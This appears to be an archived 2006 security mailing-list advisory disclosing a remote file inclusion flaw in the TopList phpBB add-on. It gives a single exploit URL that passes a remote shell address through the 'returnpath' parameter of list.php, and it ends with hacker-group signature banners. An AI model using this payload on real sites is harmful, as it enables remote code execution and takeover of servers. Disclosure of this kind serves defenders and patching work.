Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Barracuda vuln.

TextFileBB 1.0.16 Multiple XSS

XSS Attack On DirectAdmin Hosting Managment

W-Agora 4.20 XSS

From:	outlaw_(at)_aria-security.net <outlaw_(at)_aria-security.net>
Date:	30.04.2006
Subject:	TopList <= 1.3.8 (PHPBB Hack) Remote File Inclusion Vulnerability

####################################################
# IHST - MFox > MFoxHacker@gmail.com               #
####################################################

- Vendor = TopList (PHPBB)
- Target = list.php
- Exploit  :
http://[target]/top/list.php?returnpath=[shell_url]

Bug Discovered by MFox
Special thanks to all of my friendZ
##################################################
# IHST - Iran HackerZ Security Team              #
# irc.governmentsecurity.org #h4ckerz.com        #
# Www.Hackerz.Com - Www.Hackerz.iR               #
##################################################